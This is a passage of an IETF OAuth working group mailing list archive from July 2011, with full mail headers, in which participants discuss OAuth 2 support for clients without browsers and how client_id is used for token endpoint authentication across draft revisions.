--00163646d9b359ffaf04a8f7f502-- From andrewarnott@gmail.com Tue Jul 26 09:18:52 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 2CF9721F8BCB for ; Tue, 26 Jul 2011 09:18:52 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -3.598 X-Spam-Level: X-Spam-Status: No, score=-3.598 tagged_above=-999 required=5 tests=[BAYES_00=-2.599, HTML_MESSAGE=0.001, RCVD_IN_DNSWL_LOW=-1] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id Ng2iw9+pgsXc for ; Tue, 26 Jul 2011 09:18:51 -0700 (PDT) Received: from mail-qy0-f172.google.com (mail-qy0-f172.google.com [209.85.216.172]) by ietfa.amsl.com (Postfix) with ESMTP id 35E6621F8BCD for ; Tue, 26 Jul 2011 09:18:51 -0700 (PDT) Received: by qyk9 with SMTP id 9so1790112qyk.10 for ; Tue, 26 Jul 2011 09:18:48 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:from:date:message-id:subject:to :content-type; bh=tSdZJdlH5bLVOpvnC/d+PacVLJgFYW0jBeKXW2XnXNo=; b=ce2P6TfBBgzPkB0Kdf3bW+pbQgmtaIVBikOje1yhehh79yXzKoyupThXTkiVRUPs1p E6Q/9dmOqNKZz0T2/XG+NHCUwQqBG5S0+LFtqPQCM/rbSfA/JIXZmxLvjwZ15r8jql33 mLAxl7dylP7I5nZyuxq9lVNvAHj8eCmbfliKM= Received: by 10.229.251.70 with SMTP id mr6mr4075731qcb.276.1311697128146; Tue, 26 Jul 2011 09:18:48 -0700 (PDT) MIME-Version: 1.0 Received: by 10.229.70.204 with HTTP; Tue, 26 Jul 2011 09:18:28 -0700 (PDT) In-Reply-To: References: From: Andrew Arnott Date: Tue, 26 Jul 2011 10:18:28 -0600 Message-ID: To: "OAuth WG (oauth@ietf.org)" Content-Type: multipart/alternative; boundary=0016363b8df06048d104a8fb4987 Subject: Re: [OAUTH-WG] OAuth2 and clients without browsers X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 26 Jul 2011 16:18:52 -0000 --0016363b8df06048d104a8fb4987 Content-Type: text/plain; charset=ISO-8859-1 Trying a different DL... -- Andrew Arnott "I [may] not agree with what you have to say, but I'll defend to the death your right to say it." - S. G. Tallentyre On Wed, Jul 20, 2011 at 6:38 AM, Andrew Arnott wrote: > The recent OAuth 2 specs seem to omit the scenario of a client that cannot > host or invoke a browser but could display a URL to the user and ask the > user to enter a PIN. Was this an intentional omission? If I am correct, > this forces those clients to continue to use OAuth 1.0, which is not only > less desirable but it will limit which services they can access. > > Thoughts? > -- > Andrew Arnott > "I [may] not agree with what you have to say, but I'll defend to the death > your right to say it." - S. G. Tallentyre > --0016363b8df06048d104a8fb4987 Content-Type: text/html; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Trying a different DL...

--
Andrew Arnott
"= ;I [may] not agree with what you have to say, but I'll defend to the de= ath your right to say it." - S. G. Tallentyre


On Wed, Jul 20, 2011 at 6:38 AM, Andrew = Arnott <andr= ewarnott@gmail.com> wrote:
The recent OAuth 2 specs seem to omit the scenario of a client that cannot = host or invoke a browser but could display a URL to the user and ask the us= er to enter a PIN. =A0Was this an intentional omission? =A0If I am correct,= this forces those clients to continue to use OAuth 1.0, which is not only = less desirable but it will limit which services they can access.

Thoughts?
--
Andrew Arnott
"I [m= ay] not agree with what you have to say, but I'll defend to the death y= our right to say it." - S. G. Tallentyre

--0016363b8df06048d104a8fb4987-- From eran@hueniverse.com Tue Jul 26 10:06:46 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id E54B521F886A for ; Tue, 26 Jul 2011 10:06:46 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -2.557 X-Spam-Level: X-Spam-Status: No, score=-2.557 tagged_above=-999 required=5 tests=[AWL=0.041, BAYES_00=-2.599, HTML_MESSAGE=0.001] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id PHuS7BRFHWF5 for ; Tue, 26 Jul 2011 10:06:46 -0700 (PDT) Received: from p3plex1out01.prod.phx3.secureserver.net (p3plex1out01.prod.phx3.secureserver.net [72.167.180.17]) by ietfa.amsl.com (Postfix) with SMTP id 225B621F8510 for ; Tue, 26 Jul 2011 10:06:45 -0700 (PDT) Received: (qmail 1681 invoked from network); 26 Jul 2011 17:06:45 -0000 Received: from unknown (HELO smtp.ex1.secureserver.net) (72.167.180.19) by p3plex1out01.prod.phx3.secureserver.net with SMTP; 26 Jul 2011 17:06:45 -0000 Received: from P3PW5EX1MB01.EX1.SECURESERVER.NET ([10.6.135.19]) by P3PW5EX1HT001.EX1.SECURESERVER.NET ([72.167.180.19]) with mapi; Tue, 26 Jul 2011 10:06:34 -0700 From: Eran Hammer-Lahav To: Andrew Arnott Date: Tue, 26 Jul 2011 10:06:29 -0700 Thread-Topic: [OAUTH-WG] OAuth2 and clients without browsers Thread-Index: AcxLtl9K+aUi2WHKRfCMpkAuoJ6V3w== Message-ID: <2CF72C45-5E9C-4FEA-9B4B-E9DAB3C1AC91@hueniverse.com> References: In-Reply-To: Accept-Language: en-US Content-Language: en-US X-MS-Has-Attach: X-MS-TNEF-Correlator: acceptlanguage: en-US Content-Type: multipart/alternative; boundary="_000_2CF72C455E9C4FEA9B4BE9DAB3C1AC91hueniversecom_" MIME-Version: 1.0 Cc: "OAuth WG \(oauth@ietf.org\)" Subject: Re: [OAUTH-WG] OAuth2 and clients without browsers X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 26 Jul 2011 17:06:47 -0000 --_000_2CF72C455E9C4FEA9B4BE9DAB3C1AC91hueniversecom_ Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: base64 SSBiZWxpZXZlIEdvb2dsZSBpcyB3b3JraW5nIG9uIGEgcHJvcG9zYWwgZm9yIGFuIG9vYiBVUkkg dmFsdWUgdG8gdXNlIGFzIHRoZSByZWRpcmVjdGlvbiBVUkkuDQoNCkVITA0KDQpPbiBKdWwgMjYs IDIwMTEsIGF0IDk6MTgsICJBbmRyZXcgQXJub3R0IiA8YW5kcmV3YXJub3R0QGdtYWlsLmNvbTxt YWlsdG86YW5kcmV3YXJub3R0QGdtYWlsLmNvbT4+IHdyb3RlOg0KDQpUcnlpbmcgYSBkaWZmZXJl bnQgREwuLi4NCg0KLS0NCkFuZHJldyBBcm5vdHQNCiJJIFttYXldIG5vdCBhZ3JlZSB3aXRoIHdo YXQgeW91IGhhdmUgdG8gc2F5LCBidXQgSSdsbCBkZWZlbmQgdG8gdGhlIGRlYXRoIHlvdXIgcmln aHQgdG8gc2F5IGl0LiIgLSBTLiBHLiBUYWxsZW50eXJlDQoNCg0KT24gV2VkLCBKdWwgMjAsIDIw MTEgYXQgNjozOCBBTSwgQW5kcmV3IEFybm90dCA8PG1haWx0bzphbmRyZXdhcm5vdHRAZ21haWwu Y29tPmFuZHJld2Fybm90dEBnbWFpbC5jb208bWFpbHRvOmFuZHJld2Fybm90dEBnbWFpbC5jb20+ PiB3cm90ZToNClRoZSByZWNlbnQgT0F1dGggMiBzcGVjcyBzZWVtIHRvIG9taXQgdGhlIHNjZW5h cmlvIG9mIGEgY2xpZW50IHRoYXQgY2Fubm90IGhvc3Qgb3IgaW52b2tlIGEgYnJvd3NlciBidXQg Y291bGQgZGlzcGxheSBhIFVSTCB0byB0aGUgdXNlciBhbmQgYXNrIHRoZSB1c2VyIHRvIGVudGVy IGEgUElOLiAgV2FzIHRoaXMgYW4gaW50ZW50aW9uYWwgb21pc3Npb24/ICBJZiBJIGFtIGNvcnJl Y3QsIHRoaXMgZm9yY2VzIHRob3NlIGNsaWVudHMgdG8gY29udGludWUgdG8gdXNlIE9BdXRoIDEu MCwgd2hpY2ggaXMgbm90IG9ubHkgbGVzcyBkZXNpcmFibGUgYnV0IGl0IHdpbGwgbGltaXQgd2hp Y2ggc2VydmljZXMgdGhleSBjYW4gYWNjZXNzLg0KDQpUaG91Z2h0cz8NCi0tDQpBbmRyZXcgQXJu b3R0DQoiSSBbbWF5XSBub3QgYWdyZWUgd2l0aCB3aGF0IHlvdSBoYXZlIHRvIHNheSwgYnV0IEkn bGwgZGVmZW5kIHRvIHRoZSBkZWF0aCB5b3VyIHJpZ2h0IHRvIHNheSBpdC4iIC0gUy4gRy4gVGFs bGVudHlyZQ0KDQpfX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19f Xw0KT0F1dGggbWFpbGluZyBsaXN0DQpPQXV0aEBpZXRmLm9yZzxtYWlsdG86T0F1dGhAaWV0Zi5v cmc+DQpodHRwczovL3d3dy5pZXRmLm9yZy9tYWlsbWFuL2xpc3RpbmZvL29hdXRoDQo= --_000_2CF72C455E9C4FEA9B4BE9DAB3C1AC91hueniversecom_ Content-Type: text/html; charset="utf-8" Content-Transfer-Encoding: base64 PGh0bWw+PGJvZHkgYmdjb2xvcj0iI0ZGRkZGRiI+PGRpdj5JIGJlbGlldmUgR29vZ2xlIGlzIHdv cmtpbmcgb24gYSBwcm9wb3NhbCBmb3IgYW4gb29iIFVSSSB2YWx1ZSB0byB1c2UgYXMgdGhlIHJl ZGlyZWN0aW9uIFVSSS4mbmJzcDs8L2Rpdj48ZGl2Pjxicj48L2Rpdj48ZGl2PkVITDxicj48YnI+ T24gSnVsIDI2LCAyMDExLCBhdCA5OjE4LCAiQW5kcmV3IEFybm90dCIgJmx0OzxhIGhyZWY9Im1h aWx0bzphbmRyZXdhcm5vdHRAZ21haWwuY29tIj5hbmRyZXdhcm5vdHRAZ21haWwuY29tPC9hPiZn dDsgd3JvdGU6PGJyPjxicj48L2Rpdj48ZGl2PjxzcGFuPjwvc3Bhbj48L2Rpdj48YmxvY2txdW90 ZSB0eXBlPSJjaXRlIj48ZGl2PlRyeWluZyBhIGRpZmZlcmVudCBETC4uLjxkaXY+PGJyIGNsZWFy PSJhbGwiPi0tPGJyPkFuZHJldyBBcm5vdHQ8YnI+IkkgW21heV0gbm90IGFncmVlIHdpdGggd2hh dCB5b3UgaGF2ZSB0byBzYXksIGJ1dCBJJ2xsIGRlZmVuZCB0byB0aGUgZGVhdGggeW91ciByaWdo dCB0byBzYXkgaXQuIiAtIFMuIEcuIFRhbGxlbnR5cmU8YnI+DQo8YnI+PGJyPjxkaXYgY2xhc3M9 ImdtYWlsX3F1b3RlIj5PbiBXZWQsIEp1bCAyMCwgMjAxMSBhdCA2OjM4IEFNLCBBbmRyZXcgQXJu b3R0IDxzcGFuIGRpcj0ibHRyIj4mbHQ7PGEgaHJlZj0ibWFpbHRvOmFuZHJld2Fybm90dEBnbWFp bC5jb20iPjxhIGhyZWY9Im1haWx0bzphbmRyZXdhcm5vdHRAZ21haWwuY29tIj5hbmRyZXdhcm5v dHRAZ21haWwuY29tPC9hPjwvYT4mZ3Q7PC9zcGFuPiB3cm90ZTo8YnI+PGJsb2NrcXVvdGUgY2xh c3M9ImdtYWlsX3F1b3RlIiBzdHlsZT0ibWFyZ2luOjAgMCAwIC44ZXg7Ym9yZGVyLWxlZnQ6MXB4 ICNjY2Mgc29saWQ7cGFkZGluZy1sZWZ0OjFleDsiPg0KDQpUaGUgcmVjZW50IE9BdXRoIDIgc3Bl Y3Mgc2VlbSB0byBvbWl0IHRoZSBzY2VuYXJpbyBvZiBhIGNsaWVudCB0aGF0IGNhbm5vdCBob3N0 IG9yIGludm9rZSBhIGJyb3dzZXIgYnV0IGNvdWxkIGRpc3BsYXkgYSBVUkwgdG8gdGhlIHVzZXIg YW5kIGFzayB0aGUgdXNlciB0byBlbnRlciBhIFBJTi4gJm5ic3A7V2FzIHRoaXMgYW4gaW50ZW50 aW9uYWwgb21pc3Npb24/ICZuYnNwO0lmIEkgYW0gY29ycmVjdCwgdGhpcyBmb3JjZXMgdGhvc2Ug Y2xpZW50cyB0byBjb250aW51ZSB0byB1c2UgT0F1dGggMS4wLCB3aGljaCBpcyBub3Qgb25seSBs ZXNzIGRlc2lyYWJsZSBidXQgaXQgd2lsbCBsaW1pdCB3aGljaCBzZXJ2aWNlcyB0aGV5IGNhbiBh Y2Nlc3MuPGRpdj4NCg0KDQo8YnI+PC9kaXY+PGRpdj5UaG91Z2h0cz88YnIgY2xlYXI9ImFsbCI+ LS08YnI+QW5kcmV3IEFybm90dDxicj4iSSBbbWF5XSBub3QgYWdyZWUgd2l0aCB3aGF0IHlvdSBo YXZlIHRvIHNheSwgYnV0IEknbGwgZGVmZW5kIHRvIHRoZSBkZWF0aCB5b3VyIHJpZ2h0IHRvIHNh eSBpdC4iIC0gUy4gRy4gVGFsbGVudHlyZTxicj4NCjwvZGl2Pg0KPC9ibG9ja3F1b3RlPjwvZGl2 Pjxicj48L2Rpdj4NCjwvZGl2PjxkaXY+PHNwYW4+X19fX19fX19fX19fX19fX19fX19fX19fX19f X19fX19fX19fX19fX19fX19fX188L3NwYW4+PGJyPjxzcGFuPk9BdXRoIG1haWxpbmcgbGlzdDwv c3Bhbj48YnI+PHNwYW4+PGEgaHJlZj0ibWFpbHRvOk9BdXRoQGlldGYub3JnIj5PQXV0aEBpZXRm Lm9yZzwvYT48L3NwYW4+PGJyPjxzcGFuPjxhIGhyZWY9Imh0dHBzOi8vd3d3LmlldGYub3JnL21h aWxtYW4vbGlzdGluZm8vb2F1dGgiPmh0dHBzOi8vd3d3LmlldGYub3JnL21haWxtYW4vbGlzdGlu Zm8vb2F1dGg8L2E+PC9zcGFuPjxicj48L2Rpdj48L2Jsb2NrcXVvdGU+PC9ib2R5PjwvaHRtbD4= --_000_2CF72C455E9C4FEA9B4BE9DAB3C1AC91hueniversecom_-- From bcampbell@pingidentity.com Tue Jul 26 10:16:53 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id B7F0221F89C2 for ; Tue, 26 Jul 2011 10:16:53 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -5.953 X-Spam-Level: X-Spam-Status: No, score=-5.953 tagged_above=-999 required=5 tests=[AWL=0.024, BAYES_00=-2.599, FM_FORGED_GMAIL=0.622, RCVD_IN_DNSWL_MED=-4] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id JXH1fvz28pm3 for ; Tue, 26 Jul 2011 10:16:53 -0700 (PDT) Received: from na3sys009aog114.obsmtp.com (na3sys009aog114.obsmtp.com [74.125.149.211]) by ietfa.amsl.com (Postfix) with ESMTP id 0DB6D21F886D for ; Tue, 26 Jul 2011 10:16:52 -0700 (PDT) Received: from mail-qw0-f48.google.com ([209.85.216.48]) (using TLSv1) by na3sys009aob114.postini.com ([74.125.148.12]) with SMTP ID DSNKTi72g00wMBDgV+MpROvtZhsaWi+s4wWk@postini.com; Tue, 26 Jul 2011 10:16:53 PDT Received: by mail-qw0-f48.google.com with SMTP id 9so456275qwj.35 for ; Tue, 26 Jul 2011 10:16:51 -0700 (PDT) Received: by 10.224.207.194 with SMTP id fz2mr4952954qab.143.1311700611137; Tue, 26 Jul 2011 10:16:51 -0700 (PDT) MIME-Version: 1.0 Received: by 10.224.11.68 with HTTP; Tue, 26 Jul 2011 10:16:21 -0700 (PDT) In-Reply-To: <90C41DD21FB7C64BB94121FBBC2E723450245F58E0@P3PW5EX1MB01.EX1.SECURESERVER.NET> References: <90C41DD21FB7C64BB94121FBBC2E723450245F5786@P3PW5EX1MB01.EX1.SECURESERVER.NET> <90C41DD21FB7C64BB94121FBBC2E723450245F5799@P3PW5EX1MB01.EX1.SECURESERVER.NET> <90C41DD21FB7C64BB94121FBBC2E723450245F58E0@P3PW5EX1MB01.EX1.SECURESERVER.NET> From: Brian Campbell Date: Tue, 26 Jul 2011 11:16:21 -0600 Message-ID: To: Eran Hammer-Lahav Content-Type: text/plain; charset=ISO-8859-1 Cc: oauth Subject: Re: [OAUTH-WG] treatment of client_id for authentication and identification X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 26 Jul 2011 17:16:53 -0000 I'm probably somewhat biased by having read previous version of the spec, previous WG list discussions, and my current AS implementation (which expects client_id) but this seems like a fairly big departure from what was in -16. I'm okay with the change but feel it's wroth mentioning that it's likely an incompatible one. That aside, I feel like it could use some more explanation in draft-ietf-oauth-v2 because, at least to me and hence my question, it wasn't entirely clear how client_id should be used for those cases. On Mon, Jul 25, 2011 at 4:18 PM, Eran Hammer-Lahav wrote: > > The client_id is currently only defined for password authentication on the token endpoint. If you are using Basic or any other form of authentication (or no authentication at all), you are not going to use the client_id parameter. From eran@hueniverse.com Tue Jul 26 11:18:19 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 0E2F021F8AC3 for ; Tue, 26 Jul 2011 11:18:19 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -2.557 X-Spam-Level: X-Spam-Status: No, score=-2.557 tagged_above=-999 required=5 tests=[AWL=0.041, BAYES_00=-2.599, HTML_MESSAGE=0.001] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 3MioyVOVfcie for ; Tue, 26 Jul 2011 11:18:18 -0700 (PDT) Received: from p3plex1out02.prod.phx3.secureserver.net (p3plex1out02.prod.phx3.secureserver.net [72.167.180.18]) by ietfa.amsl.com (Postfix) with SMTP id 61A4521F8A67 for ; Tue, 26 Jul 2011 11:18:18 -0700 (PDT) Received: (qmail 9093 invoked from network); 26 Jul 2011 18:18:17 -0000 Received: from unknown (HELO smtp.ex1.secureserver.net) (72.167.180.19) by p3plex1out02.prod.phx3.secureserver.net with SMTP; 26 Jul 2011 18:18:17 -0000 Received: from P3PW5EX1MB01.EX1.SECURESERVER.NET ([10.6.135.19]) by P3PW5EX1HT001.EX1.SECURESERVER.NET ([72.167.180.19]) with mapi; Tue, 26 Jul 2011 11:18:07 -0700 From: Eran Hammer-Lahav To: Brian Campbell Date: Tue, 26 Jul 2011 11:17:59 -0700 Thread-Topic: [OAUTH-WG] treatment of client_id for authentication and identification Thread-Index: AcxLwF4wxtm9BbFwST2UTVuJOnKIrw== Message-ID: In-Reply-To: Accept-Language: en-US Content-Language: en-US X-MS-Has-Attach: X-MS-TNEF-Correlator: user-agent: Microsoft-MacOutlook/14.12.0.110505 acceptlanguage: en-US Content-Type: multipart/alternative; boundary="_000_CA545154173D2eranhueniversecom_" MIME-Version: 1.0 Cc: oauth Subject: Re: [OAUTH-WG] treatment of client_id for authentication and identification X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 26 Jul 2011 18:18:19 -0000 --_000_CA545154173D2eranhueniversecom_ Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: quoted-printable Not exactly. The current setup was pretty stable up to =9615. In =9616 I tried to clean = it up by moving the parameter into each token endpoint type definition. Tha= t didn't work and was more confusing so in =9617 I reverted back to the =96= 15 approach. What makes this stand out in =9620 is that all the examples now use HTTP Ba= sic instead of the parameters (since we decided to make them NOT RECOMMENDE= D). So it feels sudden that client_id is gone, but none of this is actually= much different from =9615 on. Client authentication is still performed the= same way, and the role of client_id is just as an alternative to using HTT= P Basic on the token endpoint. I think the current text is sufficient, but if you want to provide specific= additions I'm open to it. EHL From: Brian Campbell > Date: Tue, 26 Jul 2011 10:16:21 -0700 To: Eran Hammer-lahav > Cc: oauth > Subject: Re: [OAUTH-WG] treatment of client_id for authentication and ident= ification I'm probably somewhat biased by having read previous version of the spec, previous WG list discussions, and my current AS implementation (which expects client_id) but this seems like a fairly big departure from what was in -16. I'm okay with the change but feel it's wroth mentioning that it's likely an incompatible one. That aside, I feel like it could use some more explanation in draft-ietf-oauth-v2 because, at least to me and hence my question, it wasn't entirely clear how client_id should be used for those cases. On Mon, Jul 25, 2011 at 4:18 PM, Eran Hammer-Lahav > wrote: The client_id is currently only defined for password authentication on the = token endpoint. If you are using Basic or any other form of authentication = (or no authentication at all), you are not going to use the client_id param= eter. --_000_CA545154173D2eranhueniversecom_ Content-Type: text/html; charset="Windows-1252" Content-Transfer-Encoding: quoted-printable
Not exactly.

The current setup was pretty stable up to =9615. In =9616 I tried to= clean it up by moving the parameter into each token endpoint type definiti= on. That didn't work and was more confusing so in =9617 I reverted back to = the =9615 approach.

What makes this stand out in = =9620 is that all the examples now use HTTP Basic instead of the parameters= (since we decided to make them NOT RECOMMENDED). So it feels sudden that c= lient_id is gone, but none of this is actually much different from =9615 on= . Client authentication is still performed the same way, and the role of cl= ient_id is just as an alternative to using HTTP Basic on the token endpoint= .

I think the current text is sufficient, but if y= ou want to provide specific additions I'm open to it.

<= div>EHL

From: Brian Campbell <bcamp= bell@pingidentity.com>
Date: Tue, 26 Jul 2011 10:16:21 -0700
To= : Eran Hammer-lahav <eran= @hueniverse.com>
Cc: oau= th <oauth@ietf.org>
Subject: Re: [OAUTH-WG] treatment of clien= t_id for authentication and identification

I'm probably som= ewhat biased by having read previous version of the
spec, previou= s WG list discussions, and my current AS implementation
(which ex= pects client_id) but this seems like a fairly big departure
from = what was in -16.  I'm okay with the change but feel it's wroth
mentioning that it's likely an incompatible one.

That aside, I feel like it could use some more explanation in
<= div>draft-ietf-oauth-v2 because, at least to me and hence my question, it
wasn't entirely clear how client_id should be used for those cases= .

On Mon, Jul 25, 2011 at 4:18 PM, Eran Hammer-Lah= av <eran@hueniverse.com> w= rote:

The client_id is currently only defined for password authenticatio= n on the token endpoint. If you are using Basic or any other form of authen= tication (or no authentication at all), you are not going to use the client= _id parameter.

--_000_CA545154173D2eranhueniversecom_-- From mscurtescu@google.com Tue Jul 26 15:29:59 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 2AC7721F8640 for ; Tue, 26 Jul 2011 15:29:59 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -105.977 X-Spam-Level: X-Spam-Status: No, score=-105.977 tagged_above=-999 required=5 tests=[BAYES_00=-2.599, FM_FORGED_GMAIL=0.622, RCVD_IN_DNSWL_MED=-4, USER_IN_WHITELIST=-100] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id xbKcznZlJuUX for ; Tue, 26 Jul 2011 15:29:58 -0700 (PDT) Received: from smtp-out.google.com (smtp-out.google.com [74.125.121.67]) by ietfa.amsl.com (Postfix) with ESMTP id 636F321F8639 for ; Tue, 26 Jul 2011 15:29:58 -0700 (PDT) Received: from wpaz5.hot.corp.google.com (wpaz5.hot.corp.google.com [172.24.198.69]) by smtp-out.google.com with ESMTP id p6QMTuXN010466 for ; Tue, 26 Jul 2011 15:29:57 -0700 DKIM-Signature: v=1; a=rsa-sha1; c=relaxed/relaxed; d=google.com; s=beta; t=1311719397; bh=I9/BltwpSPjnjnnliHWoRsMJVZw=; h=MIME-Version:In-Reply-To:References:From:Date:Message-ID:Subject: To:Cc:Content-Type:Content-Transfer-Encoding; b=ZMVVBpQ+lflOOSVpxaCu9hv91jagPLMRyEdkphEfoPN6TWYuzBn16zcN8LjiY62bQ 1Z8kpoR02PPlwhVbujOqQ== DomainKey-Signature: a=rsa-sha1; s=beta; d=google.com; c=nofws; q=dns; h=dkim-signature:mime-version:in-reply-to:references:from:date: message-id:subject:to:cc:content-type: content-transfer-encoding:x-system-of-record; b=AA3HVpHHTY1mv1sFXXELNWQ9syw9nZHkfvX87q65bG5fvU3fuaNJ8+ly0kvlKqdWs W9RjTCs+JP35kJI3AHW7Q== Received: from yih10 (yih10.prod.google.com [10.243.66.202]) by wpaz5.hot.corp.google.com with ESMTP id p6QMS66r022864 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT) for ; Tue, 26 Jul 2011 15:29:55 -0700 Received: by yih10 with SMTP id 10so714542yih.15 for ; Tue, 26 Jul 2011 15:29:55 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=google.com; s=beta; h=mime-version:in-reply-to:references:from:date:message-id:subject:to :cc:content-type:content-transfer-encoding; bh=A3QzMB1/SewEtujPh6lSH7W+/KXVGHp3itRB46M4ymY=; b=HupZCEgp1QIPbJZq5kcuM/j/nwW6arMn79xDF27ULiv3YV/MI4McuSbn/xxedGRTu3 OVQwMExQNi1wXnOtlnlg== Received: by 10.100.200.19 with SMTP id x19mr1440908anf.145.1311719394099; Tue, 26 Jul 2011 15:29:54 -0700 (PDT) MIME-Version: 1.0 Received: by 10.100.47.8 with HTTP; Tue, 26 Jul 2011 15:29:34 -0700 (PDT) In-Reply-To: References: From: Marius Scurtescu Date: Tue, 26 Jul 2011 18:29:34 -0400 Message-ID: To: Andrew Arnott Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable X-System-Of-Record: true Cc: "OAuth WG \(oauth@ietf.org\)" Subject: Re: [OAUTH-WG] OAuth2 and clients without browsers X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 26 Jul 2011 22:29:59 -0000 I think you are describing the device profile: http://tools.ietf.org/html/draft-recordon-oauth-v2-device-00 Is that correct? Marius On Tue, Jul 26, 2011 at 12:18 PM, Andrew Arnott wr= ote: > Trying a different DL... > -- > Andrew Arnott > "I [may] not agree with what you have to say, but I'll defend to the deat= h > your right to say it." - S. G. Tallentyre > > > On Wed, Jul 20, 2011 at 6:38 AM, Andrew Arnott > wrote: >> >> The recent OAuth 2 specs seem to omit the scenario of a client that cann= ot >> host or invoke a browser but could display a URL to the user and ask the >> user to enter a PIN. =A0Was this an intentional omission? =A0If I am cor= rect, >> this forces those clients to continue to use OAuth 1.0, which is not onl= y >> less desirable but it will limit which services they can access. >> Thoughts? >> -- >> Andrew Arnott >> "I [may] not agree with what you have to say, but I'll defend to the dea= th >> your right to say it." - S. G. Tallentyre > > > _______________________________________________ > OAuth mailing list > OAuth@ietf.org > https://www.ietf.org/mailman/listinfo/oauth > > From nivstein@gmail.com Tue Jul 26 16:29:49 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 6045011E80CF for ; Tue, 26 Jul 2011 16:29:49 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -3.533 X-Spam-Level: X-Spam-Status: No, score=-3.533 tagged_above=-999 required=5 tests=[AWL=0.066, BAYES_00=-2.599, RCVD_IN_DNSWL_LOW=-1] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id lm1qvLE+PgWn for ; Tue, 26 Jul 2011 16:29:48 -0700 (PDT) Received: from mail-vx0-f172.google.com (mail-vx0-f172.google.com [209.85.220.172]) by ietfa.amsl.com (Postfix) with ESMTP id 389F211E80D6 for ; Tue, 26 Jul 2011 16:29:48 -0700 (PDT) Received: by vxi40 with SMTP id 40so919354vxi.31 for ; Tue, 26 Jul 2011 16:29:47 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:from:date:message-id:subject:to :cc:content-type:content-transfer-encoding; bh=xPrFsRZYVvw4NDdJf8vozH72FgBXwjYrOmedhrb3KYM=; b=AQ6jXPxtN0bVpgnEAJXGpAwkF0qUImcjBIyoPH5o86RJM4wLjfQG9FjjMNhCxPnekL GpMsVxIljuYkVvv54lD+OA3LxrqvWfxcZwLVtYu1HlOoKt1IzuLtNXmhAZcjfs8RaEtQ ILN03xndgSBqQbAQQ3ibjMaN8089hAR0XbASk= Received: by 10.52.89.173 with SMTP id bp13mr871922vdb.19.1311722987205; Tue, 26 Jul 2011 16:29:47 -0700 (PDT) MIME-Version: 1.0 Received: by 10.52.107.99 with HTTP; Tue, 26 Jul 2011 16:29:27 -0700 (PDT) In-Reply-To: References: <90C41DD21FB7C64BB94121FBBC2E723450245F58E6@P3PW5EX1MB01.EX1.SECURESERVER.NET> <4E2DF7D5.8090701@lodderstedt.net> From: 